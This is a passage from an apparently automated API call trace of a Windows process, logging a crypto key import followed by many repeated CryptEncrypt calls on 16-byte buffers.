(in: phProv=0x3e0d740, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d740*=0x1668f00) returned 1 [0117.742] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0d6f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d750 | out: phKey=0x3e0d750*=0x16395e8) returned 1 [0117.742] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0d734*=0x2, dwFlags=0x0) returned 1 [0117.742] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10) returned 1 [0117.742] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.742] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.742] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.742] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.742] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.742] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.742] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.742] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.742] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.743] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.744] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.745] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: 